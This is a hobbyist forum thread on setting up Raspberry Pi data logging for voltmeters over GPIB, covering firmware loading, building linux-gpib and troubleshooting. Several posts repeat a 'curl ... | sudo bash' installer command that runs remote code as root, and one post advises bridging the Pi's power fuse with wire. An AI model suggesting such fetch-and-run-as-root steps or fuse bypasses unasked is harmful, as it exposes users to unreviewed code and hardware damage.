Then I had problem to use the GPIB interface. When plugged in, "lsusb" showed "Bus 001 Device 004: ID 0957:0518 Agilent Technologies, Inc. 82357B GPIB Interface". I think the firmware load step was necessary, as described here: https://xdevs.com/guide/agilent_gpib_rpi/ (https://xdevs.com/guide/agilent_gpib_rpi/) . Bus 1 and Device 4 means, I had to do this:

Quote
fxload -t fx2 -D /dev/bus/usb/001/004 -I /opt/gpib_firmware/gpib_firmware-2008-08-10/agilent_82357a/measat_releaseX1.8.hex

After this command, the RPi hung, and stopped always after reboot. Turns out I had a power problem, maybe because of my cheap GPIB clone, or it needs really a lot of power. I could fix this by desoldering F3 on the RPi, near the power supply USB port, and short it with a nice big 1 mm silver wire, and then powering it with a good 3A USB power supply. You can see the location here:

http://www.tooms.dk/forum/topic.asp?TOPIC_ID=286 (http://www.tooms.dk/forum/topic.asp?TOPIC_ID=286)

My RPi (a Raspberry Pi 1 Model B) doesn't have fuses near the output USB ports, but mounting holes, but if you have a model with F1 and F2, you might need to bridge these fuses as well. No more crashes now after shorting the fuse!

After the first flash (and some reboots because of the power problem), lsusb showed "Bus 001 Device 010: ID 0957:0718 Agilent Technologies, Inc.". So the second flash, as described on the website, was this: "fxload -t fx2 -D /dev/bus/usb/001/010 -I /opt/gpib_firmware/gpib_firmware-2008-08-10/agilent_82357a/measat_releaseX1.8.hex". Then another power cycle, just to be safe. Now lsusb shows this: "Bus 001 Device 009: ID 0957:0718 Agilent Technologies, Inc.".

And then the gpib_config command succeeded. Output of /var/log/syslog:

Quote
Aug 18 19:06:40 raspberrypi kernel: [  202.257222] gpib: no gpib board configured on /dev/gpib0
Aug 18 19:06:40 raspberrypi kernel: [  202.257328] gpib: no gpib board configured on /dev/gpib0
Aug 18 19:06:40 raspberrypi kernel: [  202.257365] gpib: no gpib board configured on /dev/gpib0
Aug 18 19:07:07 raspberrypi kernel: [  229.381524] attached to bus interface 0, address 0xd94ae600
Aug 18 19:07:07 raspberrypi kernel: [  229.406328] agilent_82357a_attach: attached

After this I could mount my samba share of my NAS system as usual with "mount.cifs //my-nas/share /mnt -o user=user,pass=password", which makes it easier to edit programs on my host PC. Then I started the Test_GPIB.py script. I tested it with my new Fluke 8842A, which doesn't have the "*IDN?", but sending a "G8" resulted in "FLUKE,8842A,0,V3.0"  :phew:

Finally I wrote a simple test script, which selects the 20 V range and prints the voltage measurement every second, see this file:

https://github.com/FrankBuss/RPi_LogNut/blob/master/pub/python/Fluke-8842A.py (https://github.com/FrankBuss/RPi_LogNut/blob/master/pub/python/Fluke-8842A.py)

(I really like the Fluke, 100 uV resolution in the 20 V range)

This will be available in plesa's repository, together with some other scripts and bugfixes by me and others, when he merges my pull request:

https://github.com/PlesaEEVBlog/RPi_LogNut/pull/1 (https://github.com/PlesaEEVBlog/RPi_LogNut/pull/1)

plesa, if you merge the pull request, you might need to move the files from /pub/python to /python, if different or new, because in your repository is no /pub/python directory.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: IanJ on August 22, 2017, 02:48:57 am
Hi all,

Ok.......I'm gonna bite the bullet just for fun and so I've ordered a Rasp Pi 3 Model B and I've had a look through this thread and I'm looking for the one post that lays it out what to do when starting from scratch to get 3458a & temperature logging operational.....right from how to install the OS. Any pointers appreciated.

I see this page, is this the one:
https://xdevs.com/guide/agilent_gpib_rpi/

I've got:

82357B (clone) GPIB USB adaptor (this looks the obvious one to use)
Galvant GPIBUSB adaptor (just thought I'd mention it)
Silicon Labs Si7051-EVB temp/humidity sensor (probably not supported, but would be nice)

Ian.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on August 22, 2017, 03:07:27 am
Hi all,

Ok.......I'm gonna bite the bullet just for fun and so I've ordered a Rasp Pi 3 Model B and I've had a look through this thread and I'm looking for the one post that lays it out what to do when starting from scratch to get 3458a & temperature logging operational.....right from how to install the OS. Any pointers appreciated.

I see this page, is this the one:
https://xdevs.com/guide/agilent_gpib_rpi/

I've got:

82357B (clone) GPIB USB adaptor (this looks the obvious one to use)
Galvant GPIBUSB adaptor (just thought I'd mention it)
Silicon Labs Si7051-EVB temp/humidity sensor (probably not supported, but would be nice)

Ian.

After image recovery run
Code: [Select]
curl https://raw.githubusercontent.com/PlesaEEVBlog/RPi_LogNut/master/Install_GPIB_Support.sh | sudo bashFor settng web and Samba
Code: [Select]
curl https://raw.githubusercontent.com/PlesaEEVBlog/RPi_LogNut/master/Web_Samba.sh | sudo bash
Supported interfaces are Agilent 82357B, National Instruments NI GPIB-USB-HS and their clones eg. Keithley ones.Also the Ethernet GPIB gateway Agilent E5810A/B are supported and tested.
On github there are www and Python folders with multiple examples with D3.js and C3.js ( easier for configuration)

Only BME280 and DS18S20 supported, but adding support will be easy.

Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: TiN on August 22, 2017, 02:26:09 pm
IanJ
You can follow plesa's suggestion, it works great. My guide you linked is somewhat manual process, which is still might be of interested to understand what is actually going on, instead of running one command which does some magic behind the curtains  :-DD.

Perhaps I should update it with "Automated install" section.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: IanJ on August 22, 2017, 08:40:21 pm
IanJ
You can follow plesa's suggestion, it works great. My guide you linked is somewhat manual process, which is still might be of interested to understand what is actually going on, instead of running one command which does some magic behind the curtains  :-DD.

Perhaps I should update it with "Automated install" section.

Will do.

Btw, I presume Raspian OS will work ok?.......I see on your site some mention of OS build issues/incompatibilities?

Ian.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: TiN on August 22, 2017, 09:05:33 pm
In theory any linux-based OS should work, but you may run into some packets/lib dependency conflicts, which you may need to resolve.
I'm using Raspbian since Pi1, but also tried NOOBs once on which all worked fine.
Also have NI GPIB + linux-gpib working fine on Linaro , running on FPGA SOC board (DE1-SoC).

Once you get familiar with main tidbits, it's fairly easy to get things running on another platforms.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: IanJ on August 28, 2017, 02:42:37 am

After image recovery run
Code: [Select]
curl https://raw.githubusercontent.com/PlesaEEVBlog/RPi_LogNut/master/Install_GPIB_Support.sh | sudo bashFor settng web and Samba
Code: [Select]
curl https://raw.githubusercontent.com/PlesaEEVBlog/RPi_LogNut/master/Web_Samba.sh | sudo bash
Supported interfaces are Agilent 82357B, National Instruments NI GPIB-USB-HS and their clones eg. Keithley ones.Also the Ethernet GPIB gateway Agilent E5810A/B are supported and tested.
On github there are www and Python folders with multiple examples with D3.js and C3.js ( easier for configuration)

Only BME280 and DS18S20 supported, but adding support will be easy.

Ok, so I have my Pi3 running, used Noobs to install Raspbian (with desktop).
Connected my 82357B clone & BM-280.
Then at command prompt ran
Code: [Select]
curl https://raw.githubusercontent.com/PlesaEEVBlog/RPi_LogNut/master/Install_GPIB_Support.sh | sudo bashAnd after a few minutes got this at the very end:
Code: [Select]
Successfully built si-prefix
Installing collected packages: si-prefix
Successfully installed si-prefix-0.5
Agilent 82357B found
failed to bring board online
failed to configure board
main: No such device
pi@raspberrypi:~ $
I haven't got the 82357B plugged into my 3458a as yet........just trying it with USB connected at the mo.

Is this looking ok?.....or is there an issue?

Ian.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on August 28, 2017, 06:06:45 am
Hi Ian,

please can you post lsusb when adapter is connected?
The end of scrip failed, so you will needs to edit gpib.conf to setup the correct adapter.
We needs to make sure GPIB adapter is recognized.

Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: IanJ on August 28, 2017, 07:26:12 am
Hi Ian,

please can you post lsusb when adapter is connected?
The end of scrip failed, so you will needs to edit gpib.conf to setup the correct adapter.
We needs to make sure GPIB adapter is recognized.

Here is lsusb, this is done on same session, i.e. just after script fails.

Code: [Select]
pi@raspberrypi:~ $ lsusb
Bus 001 Device 005: ID 0957:0518 Agilent Technologies, Inc. 82357B GPIB Interface
Bus 001 Device 016: ID 0dc6:3412 Precision Squared Technology Corp.
Bus 001 Device 015: ID 046d:c535 Logitech, Inc.
Bus 001 Device 014: ID 1a40:0101 Terminus Technology Inc. Hub
Bus 001 Device 003: ID 0424:ec00 Standard Microsystems Corp. SMSC9512/9514 Fast Ethernet Adapter
Bus 001 Device 002: ID 0424:9514 Standard Microsystems Corp. SMC9514 Hub
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub

I notice also that the red light is ON the adaptor.....so I unplug the adaptor USB then plug it in again and I get a green light ON.....and then run lsusb again:

Code: [Select]
Bus 001 Device 019: ID 0957:0718 Agilent Technologies, Inc.
Bus 001 Device 016: ID 0dc6:3412 Precision Squared Technology Corp.
Bus 001 Device 015: ID 046d:c535 Logitech, Inc.
Bus 001 Device 014: ID 1a40:0101 Terminus Technology Inc. Hub
Bus 001 Device 003: ID 0424:ec00 Standard Microsystems Corp. SMSC9512/9514 Fast Ethernet Adapter
Bus 001 Device 002: ID 0424:9514 Standard Microsystems Corp. SMC9514 Hub
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub

So, right now i am running script again.

Ian.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: 2N3055 on August 28, 2017, 07:38:53 am

Code: [Select]
Bus 001 Device 019: ID 0957:0718 Agilent Technologies, Inc.


Ian.

Ian,

I had same problem, since adapter didn't load firmware (you have to replug it first time)
GPIB part of script didn't recognize it..
I opened Plesa script in editor, and copy-pasted last few lines that deal with GPIB setup again line by line into terminal... And then it went trough...

Also before that I had to also manually execute first few lines that do kernel upgrade, wait for it to finish and restart Pi.... Then Plesa script in full, reconnect GPIB, and repeat last few GPIB lines... It seems my Raspberry was a bit out sync....

It works perfectly now..
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: IanJ on August 28, 2017, 07:50:37 am
Ok after running the script again I now get this:

Code: [Select]
Reading package lists... Done
Building dependency tree       
Reading state information... Done
fxload is already the newest version (0.0.20081013-1).
0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Requirement already up-to-date: pip in /usr/lib/python2.7/dist-packages
Requirement already satisfied: si-prefix in /usr/local/lib/python2.7/dist-packages
pi@raspberrypi:~ $

So I am assuming this is now ok, and I can run 2nd script next, here:

Code: [Select]
Using /usr/lib/python2.7/dist-packages
Finished processing dependencies for Adafruit-GPIO==1.0.3
------------DONE---------------------
Run
sudo smbpasswd -a pi
to set Samba password

So I assume thats it done.......so now how do I run the logger etc (samba pass is set, and I can access)?

Update: Ahhhh, I can see the Pi is now a webserver and the 3458a logging is web based as can see the files........just trying to work out the URL now.

Ian.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on August 28, 2017, 08:06:45 am
Added both USB ID to script. Thanks for feedback.
On github are the python scripts and also few examples of webpages with plots ( I recommends to use C3.js instead of D3.js).

Just download them and place to /pub/ folder. Or should I create separate git repository for www and python?
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: IanJ on August 28, 2017, 08:16:02 am
Added both USB ID to script. Thanks for feedback.
On github are the python scripts and also few examples of webpages with plots ( I recommends to use C3.js instead of D3.js).

Just download them and place to /pub/ folder. Or should I create separate git repository for www and python?

I'm not really sure what you mean (I'm a Pi newbie so need step by step)........I can see a bunch of html files at pub\Rpi_LogNut, so what do I do now......?
I thought for a moment those files were at the Pi webserver webroot but they are not, so assuming something else.

Ian.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on August 28, 2017, 08:26:14 am
Added both USB ID to script. Thanks for feedback.
On github are the python scripts and also few examples of webpages with plots ( I recommends to use C3.js instead of D3.js).

Just download them and place to /pub/ folder. Or should I create separate git repository for www and python?

I'm not really sure what you mean (I'm a Pi newbie so need step by step)........I can see a bunch of html files at pub\Rpi_LogNut, so what do I do now......?
I thought for a moment those files were at the Pi webserver webroot but they are not, so assuming something else.

Ian.

In the folder pub\Rpi_LogNut is the copy of git repository. So you can copy all files in \pub\Rpi_LogNut\www to \pub\www and all files from  pub\Rpi_LogNut\Python to \pub\python.
After that on the RPi you should see webpage with examples. The examples will not display graphs because there are no logs in \pub'log folder.

Scrips from \pub\Python you can run, but check in file the correct GPIB address and used interface, some examples are using the LAN-GPIB.
just type python and the name of script.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: IanJ on August 29, 2017, 03:24:06 am
In the folder pub\Rpi_LogNut is the copy of git repository. So you can copy all files in \pub\Rpi_LogNut\www to \pub\www and all files from  pub\Rpi_LogNut\Python to \pub\python.
After that on the RPi you should see webpage with examples. The examples will not display graphs because there are no logs in \pub'log folder.

Scrips from \pub\Python you can run, but check in file the correct GPIB address and used interface, some examples are using the LAN-GPIB.
just type python and the name of script.

Ok, my webroot is /var/www/html
I've copied python folder one down so /var/www/python

I should note at first I got permission denied when trying to copy files to web root, but after gksudo pcmanfm (I googled it) thenb I was able to copy.

So next I tried at the command prompt:
Code: [Select]
pi@raspberrypi:~ $ python /var/www/python/3458A_DCV_Log.py
libgpib: ibBoardOpen failed to open device file /dev/gpib0
libgpib: Permission denied
libgpib: error in is_cic()!
Traceback (most recent call last):
  File "/var/www/python/3458A_DCV_Log.py", line 10, in <module>
    inst = Gpib.Gpib(0,22, timeout=60)
  File "/usr/local/lib/python2.7/dist-packages/Gpib.py", line 26, in __init__
    self.id = gpib.dev(name, pad, sad, timeout, send_eoi, eos_mode)
gpib.GpibError: dev() error: Bad file descriptor (errno: 9)

On my Windows Excel macro my usb 82357 address is GPIB0::22:INSTR
The python script I haven't touch, I can see it's set to 22 already, not sure about the interface selection though.

Ian.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: z01z on August 29, 2017, 04:14:12 am
I came across the command "sudo usermod -a -G gpib pi", which might help.
What about sudo python ...?
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: vindoline on August 29, 2017, 04:41:49 am
OK, I'm also still struggling to get this up and running. Right now I'm trying to get the BME280 sensor graphing to work.

1) I have a new 16 GB card with latest Raspbian installed.
     a. I add an empty file called "ssh" to the root directory of the SD card to enable SSH upon boot
     b. I add a "wpa_supplicant.conf" file with my wifi info in it to enable wifi access upon boot.

2) Power up the RPi and SSH in from my Mac.
     a. run sudo raps-config and set new password, hostname, VNC access, I2C enable, screen resolution, etc.
     b. reboot RPi

3) SSH into RPi from my Mac
     a. run sudo apt-get update
     b. run sudo apt-get upgrade
     c. run curl https://raw.githubusercontent.com/PlesaEEVBlog/RPi_LogNut/master/Install_GPIB_Support.sh | sudo bash
          => this seems to run/install OK. I get several errors at the very end because I don't have a supported GPIB adapter attached.
     d. run curl https://raw.githubusercontent.com/PlesaEEVBlog/RPi_LogNut/master/Update_GPIB.sh | sudo bash
          => as above, this seems to run/install OK
     e. run curl https://raw.githubusercontent.com/PlesaEEVBlog/RPi_LogNut/master/Web_Samba.sh | sudo bash
          => I believe I've found several errors in this script (at least for me):
                line 13 reads: "sudo mkdir log" I believe it should be "sudo mkdir logs"
                line 19 ("sudo rmdir /var/www/html") fails to remove the directory html because a file is in it. This then seems to both the symlinks created. If the file (index.lighttpd.html) is removed first, it works fine.

As Plesa noted above, I copy the files in \pub\Rpi_LogNut\www to \pub\www and copy the files from  pub\Rpi_LogNut\Python to \pub\python.

I can go to the directory /pub/python and run the script "python BME_v2_Log.py" and it fails because there needs to be a file named "BME280_Log.csv" already existing in the logs directory. Once I create an empty file named BME280_Log.csv the script runs fine and collects data. Yea!

If I now open a web browser and go to "VoltNutter.local" I get the index page with all of the different instrument logging options. Yea! However, clicking on "BME280_Logs.html" gives a blank page. If I look in the debugging console I see the error "TypeError: undefined is not an object (evaluating 'e.length')" in the d3.v3.min.js file. I have no idea what any of this means or how to proceed. Any advice?  :-//

Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on August 30, 2017, 08:10:12 am
In the folder pub\Rpi_LogNut is the copy of git repository. So you can copy all files in \pub\Rpi_LogNut\www to \pub\www and all files from  pub\Rpi_LogNut\Python to \pub\python.
After that on the RPi you should see webpage with examples. The examples will not display graphs because there are no logs in \pub'log folder.

Scrips from \pub\Python you can run, but check in file the correct GPIB address and used interface, some examples are using the LAN-GPIB.
just type python and the name of script.

Ok, my webroot is /var/www/html
I've copied python folder one down so /var/www/python

I should note at first I got permission denied when trying to copy files to web root, but after gksudo pcmanfm (I googled it) thenb I was able to copy.

So next I tried at the command prompt:
Code: [Select]
pi@raspberrypi:~ $ python /var/www/python/3458A_DCV_Log.py
libgpib: ibBoardOpen failed to open device file /dev/gpib0
libgpib: Permission denied
libgpib: error in is_cic()!
Traceback (most recent call last):
  File "/var/www/python/3458A_DCV_Log.py", line 10, in <module>
    inst = Gpib.Gpib(0,22, timeout=60)
  File "/usr/local/lib/python2.7/dist-packages/Gpib.py", line 26, in __init__
    self.id = gpib.dev(name, pad, sad, timeout, send_eoi, eos_mode)
gpib.GpibError: dev() error: Bad file descriptor (errno: 9)

On my Windows Excel macro my usb 82357 address is GPIB0::22:INSTR
The python script I haven't touch, I can see it's set to 22 already, not sure about the interface selection though.

Ian.

Try to run sudo gpib_config and post results. After that you can run sudo ibtest to test the GPIB device in terminal.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: TheSteve on August 30, 2017, 02:03:39 pm
plesa - thanks for posting the latest version of your pi image. I installed it last night without too much drama on a pi3. It did fail at the end but I just ran the gpib script again after a reboot and it worked. I did have to disconnect and reconnect my 82357B when done. However I doubt I will be using the USB interface much as I have the E5810A now and decided to try some vxi11. So far it is working great. I added a "inst.write("END ON")" to get it to talk to my 3458A. No luck with the serial port on the E5810A though. I am wondering if possibly the output level shifter might be bad.

For anyone not using a monitor/kb/mouse on their pi I recommend running sudo raspi-config and turning off the graphical login to save resources.

edit - Got serial working - had to make sure the Keithley 2400 required no flow control and that it wanted a LF as a terminator. I then added the "\n" to the *IDN? and it works 100% of the time. I tried the same with carriage return and it didn't work. A scope with serial decode sure was handy.

#!/usr/bin/python2
# Test Agilent E5810A with serial port connected to Keithley 2400
import vxi11
instr = vxi11.Instrument("192.18.1.134", "COM1:488")
print(instr.ask("*IDN?\n"))
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: voltampere on September 15, 2017, 02:55:56 am
I just want to share a bit of information for those who would like to set everything up on their own.
Without just copying a whole image and running some "magic" script!

On my first try i stumbled a lot because i read at different locations that you need to install the kernel sources.
( i think this advice is also on Tin's website )

I can confirm that it is possible to compile the linux-gpib package without the kernel-sources installed.
( at least this worked with Raspberry Pi 3 and latest Raspbian image )
I only needed to install the raspberry-kernel-headers.

apt-get install raspberry-kernel-headers

After that you will have two directories under /usr/src:

linux-headers-4.9.41+
linux-headers-4.9.41-v7+

Since the PDF doc on the linux-gpib sourcefourge archive says that the headers should be enough i gave it a try.

Of course you will need all the other packages like :
build-essential texinfo texi2html libcwidget-dev tcl8.6-dev tk8.6-dev libncurses5-dev libx11-dev binutils-dev bison flex libusb-1.0-0 libusb-dev libmpfr-dev libexpat1-dev tofrodos subversion autoconf automake libtool

I installed all of them according to Tin's Guide on xDevs.com.

After the first ./configure the Script did not confirm configuration of the Python bindings.
So i figured that some Python package was missing...
apt-get install  libpython3-dev did not do the job.
So i also installed libpython-dev.
After that the ./configure script confirmed the Python bindings setup.

make was successful but showed this Error multiple times while running:

ERROR : Kernel configuration is invalid.
  include/generated/autoconf.h or include/config/auto.conf are missing.
  Run ´make oldconfig && make prepare´ on kernel src to fix it.

Since i did not want to struggle with getting kernel sources again ( and setting up and, and, ... )
i just tried to do a make oldconfig and make prepare in the kernel-headers directory.
make oldconfig went through but make prepare was impossible.
I just ledt it at that point and went on with `make install` in the linux-gpib directory.

After some more errors that i could all fix with info from Tin's website ( running ldconfig again , editing gpib.conf, ... ) i had a working gpib package on my system.

Bottom line:

-You don't need the complete kernel-sources to compile linux-gpib (only the headers)

-don't worry about the Error: kernel configuration is invalid

Best regards

Joerg

Title: Linux-GPIB on Raspi - a guide
Post by: MiDi on December 03, 2018, 11:32:39 am
As I and others had quite some trouble to get the current gpib version 4.2.0 (r1771) to run on raspi with the Agilent adapter, I decided to put together a guide.

The base - without the specific Agilent adapter part - should be universal for all adapters.

I am not the brightest light on linux, so if there is something to improve, your contribution is welcome!

Code: [Select]
Install GPIB on Linux with Agilent USB-GPIB adapter (tested with raspbian stretch 2018-12-03 (4.14.79-v7+) and linux gpib 4.2.0 (r1771) on pi3 & pi b+):

Sources:
[url]https://xdevs.com/guide/agilent_gpib_rpi/[/url]
[url]https://www.eevblog.com/forum/metrology/raspberry-pi23-logging-platform-for-voltnuts/msg1301773/#msg1301773[/url]
[url]https://www.eevblog.com/forum/reviews/using-a-raspberry-pi-with-linux-gpib-and-a-beiming-or-agilent-usb-gpib-adapter/?all[/url]
[url]https://sourceforge.net/p/linux-gpib/code/HEAD/tree/trunk/[/url] -> History

1. Preparation
sudo apt-get update && sudo apt-get upgrade && sudo apt-get dist-upgrade && echo 'Rebooting...' && sudo reboot

2. Install Kernel-Headers
sudo apt-get install raspberrypi-kernel-headers && [ -d /usr/src/linux-headers-$(uname -r) ] && echo 'kernel-headers installed' || echo 'ERROR: wrong or no kernel-headers installed: '$(ls /usr/src/)', should be '$(uname -r  | cut -d+ -f1)

//If newer headers are installed, updating kernel could be an option (at your own risk)
//sudo apt-get update && sudo apt-get install --reinstall raspberrypi-bootloader raspberrypi-kernel

//If older headers are installed, we are stuck and have to wait until the newer headers are released

3. Install GPIB

3.1 Install build-tools
sudo apt-get install build-essential texinfo texi2html libcwidget-dev tcl8.6-dev tk8.6-dev libncurses5-dev libx11-dev binutils-dev bison flex libusb-1.0-0 libusb-dev libmpfr-dev libexpat1-dev tofrodos subversion autoconf automake libtool libpython3-dev libpython-dev

3.2 Build & install GPIB kernel module
sudo svn checkout svn://svn.code.sf.net/p/linux-gpib/code/trunk /usr/local/src/linux-gpib-code && cd /usr/local/src/linux-gpib-code/linux-gpib-kernel/ && sudo ./bootstrap && sudo ./configure && sudo make && sudo make install

3.3 Build & install GPIB user module
cd /usr/local/src/linux-gpib-code/linux-gpib-user/ && sudo ./bootstrap && sudo ./configure && sudo make && sudo make install

//Alternative, for version < 4.2.0 (<=r1730, in r1731 the gpib is splitted into kernel and usermode)
//3.2 Build & install GPIB 4.1.0 with latest fixes
//sudo svn checkout -r 1730 svn://svn.code.sf.net/p/linux-gpib/code/trunk /usr/local/src/linux-gpib-code && cd /usr/local/src/linux-gpib-code/linux-gpib/ && sudo ./bootstrap && sudo ./configure && sudo make && sudo make install


4. Install Agilent 82357a

4.1 Get Firmware
cd /usr/local/src/linux-gpib-code/ && sudo apt-get install fxload && sudo wget [url]http://linux-gpib.sourceforge.net/firmware/gpib_firmware-2008-08-10.tar.gz[/url] && sudo tar xvzf gpib_firmware-2008-08-10.tar.gz && cd /usr/local/src/linux-gpib-code/gpib_firmware-2008-08-10/agilent_82357a/

4.2 Config
//adapter
sudo vi $(sudo find / -name 'gpib.conf' | grep etc) //new location since r1757 (changed from /etc/gpib.conf to $(sysconfdir)/gpib.conf)
-> board_type = "agilent_82357a"

//auto download firmware
sudo cp /usr/local/src/linux-gpib-code/gpib_firmware-2008-08-10/agilent_82357a/measat_releaseX1.8.hex $(sudo find / -type d -name 'agilent_82357a' | grep usb | grep -v gpib)

//udev rules
sudo cp /usr/local/etc/udev/rules.d/* /etc/udev/rules.d/  //seems that the udev rules are copied to incorrect location - bug in gpib or raspbian? In r1730 everything is fine, in which release does it break?

// Grant user permission
// Since r1748, group gpib has to be created manually
sudo groupadd gpib
// Add user to group - for other user replace 'pi' with name of other user
sudo adduser pi gpib

5. Finish

5.1 Reboot
sudo reboot
//after reboot, all leds should be lit on the adapter (2x green, red), if not there is a problem
//after plug-in the adapter all leds should be lit (2x green, red), if not there is a problem

5.2 Test with connected equiptment (optional)
ibtest
d
//device id
w
//after here is device specific, given are examples for HP/Agilent/Keysight devices (tested with 3457A/3458A)
END ALWAYS
w
ID?
r
[enter]
//prints: HP345xA
q //quit


6 Trouble-shooting

6.1 Test gpib module
lsmod | grep gpib_common
//Should give a line back with gpib_common, if not try next step

sudo modprobe gpib_common
lsmod | grep gpib_common
//should finish without error & print gpib_common, else gpib is not installed -> try 3. and watch out for errors

6.2 Test Adapter (only needed if not all leds are lit)
//Load Firmware for testing (latest point to plugin Adapter)
cd /usr/local/src/linux-gpib-code/gpib_firmware-2008-08-10/agilent_82357a/
lsusb -d 0957:0518 //output: Bus xxx Device yyy: ID 0957:0518 Agilent Technologies, Inc. 82357B GPIB Interface

sudo fxload -t fx2 -D /dev/bus/usb/xxx/yyy -I ./measat_releaseX1.8.hex //1st FW load

lsusb -d 0957:0518 //output: Bus xxx Device zzz: ID 0957:0518 Agilent Technologies, Inc. 82357B GPIB Interface

sudo fxload -t fx2 -D /dev/bus/usb/xxx/zzz -I ./measat_releaseX1.8.hex //2nd FW load

lsusb -d 0957:0718 //output (ID changed to 0957:0718 and all leds 2x green & red on adapter are lit) : Bus xxx Device xyz: ID 0957:0718 Agilent Technologies, Inc.

lsmod | grep agilent //output (2 lines): agilent_82357a & gpib_common

6.3 Test userspace
sudo ldconfig && sudo gpib_config
//finish without error, else the configuration is not correct -> 4.2
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bitseeker on December 03, 2018, 06:06:58 pm
Thanks, MiDi. I hadn't tried using my Agilent USB-GPIB with RPi, yet.
Title: Re: Linux-GPIB on Raspi - a guide
Post by: pansku on December 05, 2018, 02:48:58 am
As I and others had quite some trouble to get the current gpib version 4.2.0 (r1771) to run on raspi with the Agilent adapter, I decided to put together a guide.

Thank you so much, I finally got the thing working on 3B+ !!  :-+

Now I just need to figure out why my HP6632A and K2015 work perfectly fine seperately, but only the Keithley works when they are daisy-chained and the Agilent pod is on either of those 2  :-/O
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: MiDi on December 05, 2018, 09:29:42 pm
Nice, so for now all raspis are covered as I did successful test on pi 2 too.
Perhaps I will do test on current debian/ubuntu sometimes...
If someone did, would be nice to get the results.

@TiN: Your guides for linux-gpib show up on top of (google) search, so feel free to use my guide and update your guides.
To reveal: You get my permission without need for reference to me.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: dkozel on December 05, 2018, 10:46:40 pm
Ha, managed to miss this thread completely over the last week while setting up a pi to do 3458A data logging. Oops.

As for linux-gpib, I agree that it's been a little involved to get setup. I did a bit of work over the weekend and have made Debian packages for the kernel module and userspace library. I need to make one for the firmware and then do a bit of polishing, but it should be available in the next Debian and Ubuntu releases through apt. Rasbian builds their packages from the Debian repo but since this has a kernel module I'm guessing there'll be some additional work needed.

In the meanwhile I'm in the middle of pushing the packages to a PPA so it will be available for at least 16.04 onwards. The link below should work in the next day or so.
https://launchpad.net/~dkozel/+archive/ubuntu/linux-gpib
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: philipz on May 07, 2019, 01:42:04 am

After image recovery run
Code: [Select]
curl https://raw.githubusercontent.com/PlesaEEVBlog/RPi_LogNut/master/Install_GPIB_Support.sh | sudo bashFor settng web and Samba
Code: [Select]
curl https://raw.githubusercontent.com/PlesaEEVBlog/RPi_LogNut/master/Web_Samba.sh | sudo bash
Supported interfaces are Agilent 82357B, National Instruments NI GPIB-USB-HS and their clones eg. Keithley ones.Also the Ethernet GPIB gateway Agilent E5810A/B are supported and tested.
On github there are www and Python folders with multiple examples with D3.js and C3.js ( easier for configuration)

Only BME280 and DS18S20 supported, but adding support will be easy.
Plesa, Thank you for you hard work to make this project working.
I prepare sdcard today and there is some changes:
1. Current version of raspbian is 2019-04-08-raspbian-stretch with kernel 4.14.98+
2. linux-gpib-4.0.4 is not available any more. Please, update your script Install_GPIB_Support.sh to download  https://downloads.sourceforge.net/project/linux-gpib/linux-gpib%20for%203.x.x%20and%202.6.x%20kernels/4.1.0/linux-gpib-4.1.0.tar.gz and change according followed commands.
3. For script Web_Samba.sh change python-wxglade to wxglade (name was changed). During creation of directory in pub you made small typo and create 'log' instead of 'logs' .

I can confirm that this setup working fine with counterfeit 82357B and Raspberry Pi Model B Rev 2 and talk with Amrel PPS 30-2.5 .

Note for the other users - don't use
Code: [Select]
sudo rpi-update because it upgrade the kernel to 4.19.37+, but apt-get still download 4.14.98+ source and compilation of linux-gpib finish with errors.